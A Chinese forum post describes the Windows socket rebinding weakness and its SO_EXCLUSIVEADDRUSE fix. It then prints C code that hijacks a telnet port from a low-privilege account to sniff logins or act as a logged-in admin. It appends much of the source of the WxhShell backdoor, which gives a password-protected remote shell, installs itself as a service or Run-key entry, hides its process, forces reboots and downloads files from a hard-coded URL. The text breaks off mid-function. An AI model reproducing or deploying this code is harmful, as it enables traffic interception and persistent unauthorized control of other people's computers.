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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: or#] ![7N  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (1cB Tf  
XZN@hXc9:v  
  saddr.sin_family = AF_INET; T 9`AL  
i+(>w'=m  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); kMW9UUw  
)*_G/<N) |  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .(/HUQn  
"'t f]s  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,|z@ Dy  
7(D)U)9h  
  这意味着什么?意味着可以进行如下的攻击: @_t=0Rc  
4"|3pMr  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T}{zh  
y_>DszRN`u  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $hc=H  
&bq1n_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2ih}?%H8  
Y'000#+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :ek^M (  
y =sae  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Lios1|5  
:YRHO|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 NL:dyV }  
5MG4S  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ` Ft-1eE  
^O<v'\!z-  
  #include `oe=K{aX  
  #include //N="9)@  
  #include WL(Y1>|j  
  #include    <o9i;[+H-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   tJ_Y6oFm=  
  int main() O`Qke Z}  
  { T*@o?U  
  WORD wVersionRequested; M]X!D7  
  DWORD ret; D?%[du:V  
  WSADATA wsaData; B#hvw'}  
  BOOL val; VMF?qT3Nd  
  SOCKADDR_IN saddr; ]@21KO  
  SOCKADDR_IN scaddr; W{J e)N  
  int err; Vo^J2[U  
  SOCKET s; #|8%h  
  SOCKET sc; R`$Y]@i&B  
  int caddsize; CAx$A[f<  
  HANDLE mt; W%5))R$  
  DWORD tid;   I*j~5fsS'  
  wVersionRequested = MAKEWORD( 2, 2 ); _QHk&-Lp  
  err = WSAStartup( wVersionRequested, &wsaData ); [>>_%T\I  
  if ( err != 0 ) { x]`F#5j  
  printf("error!WSAStartup failed!\n"); >&fD:y'&  
  return -1; @C^x&Sjm  
  } e}-fGtFx  
  saddr.sin_family = AF_INET; F#yn'j8  
   P c&dU1  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,<!*@xy7v  
`%~}p7Zu  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); q{}5wM  
  saddr.sin_port = htons(23); 3]'ab-,Vp  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2.</n}g  
  { zOA~<fhT  
  printf("error!socket failed!\n"); J~J+CGT~2  
  return -1; P<Z` 8a[  
  } !"<rlB,J  
  val = TRUE; \:@7)(p\;  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Z3MhHvvgp{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) F5+F O^3E  
  { M  hW9^?  
  printf("error!setsockopt failed!\n"); FZ%h7Oe  
  return -1; gnzg(Y]5w  
  } PX?%}~ v  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; AvZ5?rN$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Zgp9Uu}"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0\"#Xa+}8  
<uBRLe`)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) huA?*fat   
  { qZ E3T:S  
  ret=GetLastError(); A@_>9;   
  printf("error!bind failed!\n"); ~9APc{"A  
  return -1; R}w}G6"\  
  } z &P1C,n)  
  listen(s,2);  wT19m  
  while(1) _1Rw~}O  
  { 4D n&+=fq  
  caddsize = sizeof(scaddr); t zd#9 #  
  //接受连接请求 8EkzSe  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P@GU2[1  
  if(sc!=INVALID_SOCKET) EKcPJ\7  
  { b{-"GqMO  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !oXFDC3k  
  if(mt==NULL) #J3}H   
  { irm4lb5  
  printf("Thread Creat Failed!\n"); Q jXJo$I6  
  break; aaf}AIL.  
  } f*"T]AX0  
  } M`q|GY  
  CloseHandle(mt); Eo ^m; p5  
  } "(W;rl  
  closesocket(s); ha;fxM]  
  WSACleanup(); Dz$w6 d  
  return 0; LKI\(%ba#  
  }   K%L6UQ;  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^/}4M'[w  
  { cy(w*5Upu  
  SOCKET ss = (SOCKET)lpParam; 0U/[hG"DKN  
  SOCKET sc; KyT=:f V  
  unsigned char buf[4096]; Q5dqn"?  
  SOCKADDR_IN saddr; a;KdkykG  
  long num; JW><&hY$"  
  DWORD val; oL R/\Y(  
  DWORD ret; U!Zj%H1XQ0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 lr;ubBbT  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7neJV  
  saddr.sin_family = AF_INET; />8A?+g9u  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "3]}V=L<5  
  saddr.sin_port = htons(23); e(^I.`9z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W;R6+@I[  
  { XNx$^I=  
  printf("error!socket failed!\n"); EUI*:JU-  
  return -1; Q\IViM  
  } " 1a!]45+  
  val = 100; Hc<@T_h+2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8Uh|V&  
  { SD*q+Si,1U  
  ret = GetLastError(); z__t8yc3  
  return -1; PN9vg9'  
  } a%HNz_ro  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vOCaru?~h  
  { R!/JZ@au<  
  ret = GetLastError(); 4P)#\$d:  
  return -1;  ? .SiT5  
  } Va.TUz4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Md>C!c  
  { yc9!JJMkH  
  printf("error!socket connect failed!\n"); >Ho=L)u  
  closesocket(sc); RuVk>(?WK%  
  closesocket(ss); "8ZV%%elp  
  return -1; }OnU32P  
  } `_GCS,/t  
  while(1) 03|nP$g  
  { xjnAK!sD  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 s}Go")p<:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9?hF<}1XH}  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 tvVf)bbz  
  num = recv(ss,buf,4096,0); H!}L(gjEG  
  if(num>0) z}-R^"40  
  send(sc,buf,num,0); ):tv V  
  else if(num==0) z]%@r 7  
  break; Jia@HrLR  
  num = recv(sc,buf,4096,0); W\Scak>  
  if(num>0) `Nvhp]E  
  send(ss,buf,num,0); <4;, y*"n  
  else if(num==0) b p?TO]LH  
  break; KK >j V  
  } Yz[Rl ^  
  closesocket(ss); _8K8Ai-~.>  
  closesocket(sc); JBw2#ry  
  return 0 ; sl$y&C-  
  } ^Lfwoy7R  
ZBY}Mz$  
L3Y2HZ  
========================================================== E$:2AK{*  
"WGKwi=W  
下边附上一个代码,,WXhSHELL Rl0"9D87z  
M^HYkXn[  
========================================================== [3S17tTc3  
mMZrBz7r  
#include "stdafx.h" X#0yOSR  
FdnLxw  
#include <stdio.h> [bo"!Qk%  
#include <string.h> iKu3'jZ/O  
#include <windows.h> tFn[U#'  
#include <winsock2.h> .Xf_U.h$*@  
#include <winsvc.h> "8z Me L  
#include <urlmon.h> *UW 8|\;  
BH^*K/ ^  
#pragma comment (lib, "Ws2_32.lib") $,r%@'=&  
#pragma comment (lib, "urlmon.lib") 0)h.[O8@>  
ZW"f*vwQo  
#define MAX_USER   100 // 最大客户端连接数 \pK&gdw  
#define BUF_SOCK   200 // sock buffer ?Q=(?yR0]  
#define KEY_BUFF   255 // 输入 buffer /{8Y,pZbu  
@##}zku  
#define REBOOT     0   // 重启 4mp)v*z  
#define SHUTDOWN   1   // 关机 +RpCh!KP  
zCA8}](C^  
#define DEF_PORT   5000 // 监听端口 t xnH~;(  
"N &ix*($  
#define REG_LEN     16   // 注册表键长度 cC$YD]XdIA  
#define SVC_LEN     80   // NT服务名长度 b|x B <  
x%@M*4:&  
// 从dll定义API GadY#]}(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /#: *hn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]x8Y]wAU&{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +U,t*U4,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ] X]!xvN@  
xZ2 1i QeN  
// wxhshell配置信息 $?:IRgAr  
struct WSCFG { .@mZG<vg  
  int ws_port;         // 监听端口 +N,Fq/x  
  char ws_passstr[REG_LEN]; // 口令 RDQ]_wsyKG  
  int ws_autoins;       // 安装标记, 1=yes 0=no zn= pm#L  
  char ws_regname[REG_LEN]; // 注册表键名 XZ$g~r  
  char ws_svcname[REG_LEN]; // 服务名 og+Vrd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h \`(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oui0:Vy<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UBQtD|m\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MMaS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ux" ^3D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CP"5E?dcK  
GpXf).a@  
}; ~PF,[$?4n  
dE[X6$H[  
// default Wxhshell configuration &l{ctP%q  
struct WSCFG wscfg={DEF_PORT, ^56D)A=  
    "xuhuanlingzhe", 3#udz C  
    1, V5h_uGOD  
    "Wxhshell", ^"/TWl>jB  
    "Wxhshell", *CF80DJ  
            "WxhShell Service", ;VCFDE{K=  
    "Wrsky Windows CmdShell Service", F [-D +Nka  
    "Please Input Your Password: ", O7Jp ;  
  1, =r`E%P:  
  "http://www.wrsky.com/wxhshell.exe", AoxORPp'  
  "Wxhshell.exe" 4TU\SP8sM  
    }; ?_S);  
bfJ<~ss/  
// 消息定义模块 Q(1R=4?.Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [!KsAsmk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *}(B"FSO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r_'];  
char *msg_ws_ext="\n\rExit."; !.@:t`w  
char *msg_ws_end="\n\rQuit."; 4^Ks!S>K{8  
char *msg_ws_boot="\n\rReboot..."; BUh(pS:  
char *msg_ws_poff="\n\rShutdown..."; G6Wa0Z  
char *msg_ws_down="\n\rSave to "; g;o5m}  
TK> ~)hc}  
char *msg_ws_err="\n\rErr!"; cqZ lpm$c  
char *msg_ws_ok="\n\rOK!"; 7I(QTc)*  
<Z]j89wzDZ  
char ExeFile[MAX_PATH]; 2"Unk\Y  
int nUser = 0; jgpF+V-n$  
HANDLE handles[MAX_USER]; MbTmdRf  
int OsIsNt; 1)N#  
LG("<CU  
SERVICE_STATUS       serviceStatus; ) AGE"M3X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UAI'tRY N_  
/k\)q  
// 函数声明 Uul5h8F  
int Install(void); 6_9@s*=d>  
int Uninstall(void); m9 D*I1  
int DownloadFile(char *sURL, SOCKET wsh); Dg ~k"Ice  
int Boot(int flag); 65+2+p  
void HideProc(void); "x_G6JE4tv  
int GetOsVer(void); brCL"g|}  
int Wxhshell(SOCKET wsl); nM8'="$  
void TalkWithClient(void *cs); 6(A"5B=\  
int CmdShell(SOCKET sock); 0Y~5|OXJ  
int StartFromService(void); 1Sns$t%b  
int StartWxhshell(LPSTR lpCmdLine); q8e]{sT'!  
h: z$uG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); daQJ{Cd,w  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +H? XqSC  
##] `  
// 数据结构和表定义 KmD#Ia  
SERVICE_TABLE_ENTRY DispatchTable[] = 9I1`*0A  
{ j{ri]?p  
{wscfg.ws_svcname, NTServiceMain}, KAr5>^<zw  
{NULL, NULL} 4>HQ2S{t  
}; !Xq5r8]  
AQ"rk9Z  
// 自我安装 &"yoJ<L  
int Install(void) <\ ".6=E#W  
{ { ux'9SA  
  char svExeFile[MAX_PATH]; iN L>TVUM  
  HKEY key;  ? EhIK  
  strcpy(svExeFile,ExeFile); ="g9>  
%wJ>V-\e  
// 如果是win9x系统,修改注册表设为自启动 N_0B[!B]  
if(!OsIsNt) { shY8h   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g</Mk^CE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <@n3vO6  
  RegCloseKey(key); `,c~M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ub4(g~E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `P;3,@ e  
  RegCloseKey(key); =$kSn\L,  
  return 0; ~>%% kQt  
    } ZtI@$ An  
  } VW] ,R1q  
} 7<5=fYb r  
else { B|AIl+y  
-BrJ5]T>*  
// 如果是NT以上系统,安装为系统服务 N;cSR\Ng  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9J}^{AA  
if (schSCManager!=0) CT=5V@_u\  
{ 4%jQHOZ  
  SC_HANDLE schService = CreateService +5Y;JL<%/  
  ( >+[{m<Eq  
  schSCManager, ge{%B~x  
  wscfg.ws_svcname, $cO-+Mr-~  
  wscfg.ws_svcdisp, j  W -K  
  SERVICE_ALL_ACCESS, clT[ ?8*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HNX/#?3  
  SERVICE_AUTO_START, [hiV #  
  SERVICE_ERROR_NORMAL, - l0X]&Ex  
  svExeFile, lp1GK/!s  
  NULL, wr6(C:  
  NULL, #<w2xR]:  
  NULL, 8/|1FI  
  NULL, 7z+Ngt' !  
  NULL 4_ZHY?VRd  
  ); @ `SlOKz!=  
  if (schService!=0) 5%fR9?)  
  { "(;t`,F  
  CloseServiceHandle(schService); ;Z&w"oSJ  
  CloseServiceHandle(schSCManager); 7C@m(oK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *.-qbwOg  
  strcat(svExeFile,wscfg.ws_svcname); OV7SLf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n*eqM2L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x{ VUl  
  RegCloseKey(key); xHn "D@  
  return 0; g`H;~ w  
    } RWGAxq`9f  
  } 6#2E {uy;R  
  CloseServiceHandle(schSCManager); /8>we`4  
} P#2#i]-  
} Rap_1o9#\  
)5s-"o<  
return 1; T FK#ign  
} HhUk9 >7  
tHH @[E+h  
// 自我卸载 t)l^$j !h@  
int Uninstall(void) chU,));F  
{ arn7<w0  
  HKEY key; o{MmW~/o&  
g+ cH  
if(!OsIsNt) { 9 E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { | Fk9ME  
  RegDeleteValue(key,wscfg.ws_regname); 8ao>]5Rs3  
  RegCloseKey(key); 4~0 @(3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r 4+%9)  
  RegDeleteValue(key,wscfg.ws_regname); -lI6!a^  
  RegCloseKey(key); J/A UOInh  
  return 0; a +`;:tX,  
  }  BbNl:`  
} 1lHBg  
} t[bZg9;  
else { V_H0z  
frbeCBP&)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T:w%RF[v9  
if (schSCManager!=0) 5G WC  
{ DcNwtts  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +2^Mz&I@b  
  if (schService!=0) vb]H $@0  
  { 2P VQSwW:  
  if(DeleteService(schService)!=0) { P{>-MT2E  
  CloseServiceHandle(schService); !u%XvxJwDb  
  CloseServiceHandle(schSCManager); I !g+K  
  return 0; Vs&Ul6@N  
  } .v#Tj|w^  
  CloseServiceHandle(schService); ap.L=vn  
  } [gE2;J0*  
  CloseServiceHandle(schSCManager); d>`s+B9K0  
} Jgzg[6  
} h1QrFPQnu  
}Ld eU:E4  
return 1; K55]W2I9  
} Q+^"v]V`d  
h8?E+0  
// 从指定url下载文件 2~W8tv0^b2  
int DownloadFile(char *sURL, SOCKET wsh) |F?/L>  
{ `&o>7a;  
  HRESULT hr; d2<+Pp  
char seps[]= "/"; h[j(@P  
char *token; Xwk_QFv3  
char *file; Vg8c}>7  
char myURL[MAX_PATH]; 4mwAo  
char myFILE[MAX_PATH]; uBxs`'C  
P&9&/0r=_  
strcpy(myURL,sURL); k(3FT%p  
  token=strtok(myURL,seps); sKGR28e  
  while(token!=NULL) ;cW9NS3:  
  { q-d#bKIf  
    file=token; {s~t>Rp+  
  token=strtok(NULL,seps); E9PD1ADR  
  } &l(PWU  
} !RBH(m%  
GetCurrentDirectory(MAX_PATH,myFILE); HmVpxD+  
strcat(myFILE, "\\"); P#ot$@1v  
strcat(myFILE, file); '&Tq/;Ml  
  send(wsh,myFILE,strlen(myFILE),0); iKe68kx  
send(wsh,"...",3,0); LP5@ID2G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \kVi&X=q:  
  if(hr==S_OK) R\n*O@E v3  
return 0; > R2o7~  
else gjex;h  
return 1; 1A;f[Rze  
S"Mm_<A$@  
} OE_A$8L  
];au! _o  
// 系统电源模块 ?<eH!MHF  
int Boot(int flag) * odwg$  
{ kU[#. y=%p  
  HANDLE hToken; E0<$zP}V}F  
  TOKEN_PRIVILEGES tkp; QB#rf='  
 e6hfgVN  
  if(OsIsNt) { jij-pDQnv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C(lGW,!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "}jv5j5  
    tkp.PrivilegeCount = 1; lc\f6J>HT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nM6/c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \tZZn~ex  
if(flag==REBOOT) { E|hW{oX3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ""u>5f  
  return 0; kJG0X%+w  
} 0N4+6k|  
else { m<| *  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y?yWM8  
  return 0; @DA.$zn&  
} =/L;}m)7  
  } $VyH2+ jC  
  else { V [r1bF  
if(flag==REBOOT) { Pvu*Y0_p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CWS&f g%o{  
  return 0; a<mM )[U  
} \XT~5N6  
else { )MU)'1jc,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o<nkK+=Afm  
  return 0; >.f'_2#Z&  
} v* /}s :a  
} `%A>{A"  
{/PiX1mn  
return 1; e95@4f^K2  
} Ob>M]udn  
23~KzC  
// win9x进程隐藏模块 \S`|7JYW  
void HideProc(void) 8S*W+l19f  
{ %:hU:+G E  
v\b@;H`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w@"l0gm+u[  
  if ( hKernel != NULL ) 0z:BSdno  
  { mnS F=l;;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sDzlNMr?P+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /5 6sPl 7}  
    FreeLibrary(hKernel); >pq= .)X}  
  } <\C/;  
} qn@8}  
return; i*-L_!cc:  
} -P7JaH/Q  
25CO_  
// 获取操作系统版本 F9 q9BH  
int GetOsVer(void) sJ q^>"|J  
{ RbGq$vYol/  
  OSVERSIONINFO winfo; JVk"M=c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -cW 'g  
  GetVersionEx(&winfo); dpWBY3(7a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [W{WfJ-HwG  
  return 1; q]>m#yk   
  else t;e+WZkV  
  return 0; T.kQ] h2ZG  
} 6e.?L  
BmGY#D,  
// 客户端句柄模块 P]b * hC  
int Wxhshell(SOCKET wsl) Y] "_}  
{ ZAcH`r*  
  SOCKET wsh; #Kd^t =k  
  struct sockaddr_in client; fKN&0N |^R  
  DWORD myID; :^oF0,-qZ  
"o.g}Pv  
  while(nUser<MAX_USER) h8me.=S&  
{ qS{E+)P  
  int nSize=sizeof(client); s#*T(pY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [h^>Iq (Z  
  if(wsh==INVALID_SOCKET) return 1; DsZBhjCB  
a= *qsgPGL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e;ej/)no`  
if(handles[nUser]==0) ="*:H)  
  closesocket(wsh); i1E~F  
else f R?Xq@c  
  nUser++; N 2\lBi  
  } )lsR8Hi8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2Yt+[T*  
#ovmX  
  return 0; ExDv7St1(k  
} !uwZ%Ux z  
jR[3{ Reo  
// 关闭 socket :s5wFumD  
void CloseIt(SOCKET wsh) tUPdq0%t[  
{ $xl>YYEBMH  
closesocket(wsh); +>uiI4g  
nUser--; -lNq.pp3-$  
ExitThread(0); tB i16=  
} R&`; C<6}D  
7eyVm;LQD  
// 客户端请求句柄 6~@S,i1  
void TalkWithClient(void *cs) fi.[a8w:W  
{ zj9)vr`7  
/\0 rRT  
  SOCKET wsh=(SOCKET)cs; WK<:(vu.  
  char pwd[SVC_LEN]; 6pCQP c*A  
  char cmd[KEY_BUFF]; tin5.N)"z  
char chr[1]; ra4$/@3n  
int i,j; 7\?0d!  
IW<nfg  
  while (nUser < MAX_USER) { BlrZ<\-/  
(ndTEnpp  
if(wscfg.ws_passstr) { L~u@n24  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L~PBD?l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j~Cch%%G  
  //ZeroMemory(pwd,KEY_BUFF); <HC5YA)4  
      i=0; w#!^wN  
  while(i<SVC_LEN) { zc n/LF  
1"4Pan  
  // 设置超时 -J<{NF  
  fd_set FdRead; ev}ugRxt|k  
  struct timeval TimeOut; &eqeQD6  
  FD_ZERO(&FdRead); E9"P~ nz  
  FD_SET(wsh,&FdRead); vTdJe  
  TimeOut.tv_sec=8; hN3*]s;/6z  
  TimeOut.tv_usec=0; X' ,0vK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e2 X\ll  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CC8)yO  
g]V_)}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m@Vz42g~+  
  pwd=chr[0]; @*VfG CQ(  
  if(chr[0]==0xd || chr[0]==0xa) { Z@G[\"  
  pwd=0; TJY  [s-  
  break; 2`?58&  
  } ip`oL_c  
  i++; jrl'?`O  
    } y| 7sh  
~.*G%TW &V  
  // 如果是非法用户,关闭 socket .a0]1IkatV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $k,wA8OZ-  
} A./ VO  
`v|w&ty*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1ab_^P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,_N+t:*#0  
pmIOV~K  
while(1) { {|E'  
7^2  
  ZeroMemory(cmd,KEY_BUFF); \@}G'7{  
fy6<KEea  
      // 自动支持客户端 telnet标准   NZTG)<  
  j=0; UCz\SZ{za  
  while(j<KEY_BUFF) { }^@Q9<P^E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iaAj|:  
  cmd[j]=chr[0]; IOjp'6Yr  
  if(chr[0]==0xa || chr[0]==0xd) { 5x=aJl;G  
  cmd[j]=0; @5rl;C  
  break; s IE2a0+  
  } ;Eer  
  j++; @X?7a]+;8  
    } `Q@w*ta)  
.T63:  
  // 下载文件 XB.xIApmy  
  if(strstr(cmd,"http://")) { Nf!g1D"U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `+\6;nM  
  if(DownloadFile(cmd,wsh)) hn -!W;j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Z?$!u4I  
  else Bo#,)%80  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zJ=lNb?q  
  } NR6wNz&81  
  else { +&*D7A>~p  
ILU7Yhk  
    switch(cmd[0]) { Tx19\\r  
  ;K$ !c5  
  // 帮助 i0TbsoKh:  
  case '?': { (\8~W*ej"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RXD*;B$v  
    break; X>la!}sV  
  } UD!-.I]  
  // 安装 :Rftn6!  
  case 'i': { e2><Y<  
    if(Install()) GGQ%/i]:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %6%~`((4  
    else Pss$[ %  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V`WSZ  
    break; cs]h+yE  
    } pK|~G."6e  
  // 卸载 2A95vC'u>|  
  case 'r': { -P.51q  
    if(Uninstall()) %A$5mi^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fFNs cY<4w  
    else X3dXRDB'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HVHd@#pDZ  
    break; V'q?+p] a  
    } _u{z$;  
  // 显示 wxhshell 所在路径 3T= ?!|e  
  case 'p': { ;(3!#4`q(]  
    char svExeFile[MAX_PATH]; )z^NJ'v4(  
    strcpy(svExeFile,"\n\r"); lZr}F.7  
      strcat(svExeFile,ExeFile); w!eY)p<  
        send(wsh,svExeFile,strlen(svExeFile),0); {M^BY,%*  
    break; [KMNMg  
    } w:VD[\h  
  // 重启 TFAd  
  case 'b': {  3cA '9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); * @=ZzL  
    if(Boot(REBOOT)) x##0s5Qn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uk'bOp  
    else { 1s_N!a  
    closesocket(wsh); P U2^4h/[`  
    ExitThread(0); 0#S#v2r5  
    } Nrn_Gy>|D  
    break; ;Zy[2M  
    } q21l{R{Y  
  // 关机 QMhvyzkS  
  case 'd': { 5<>"d :9  
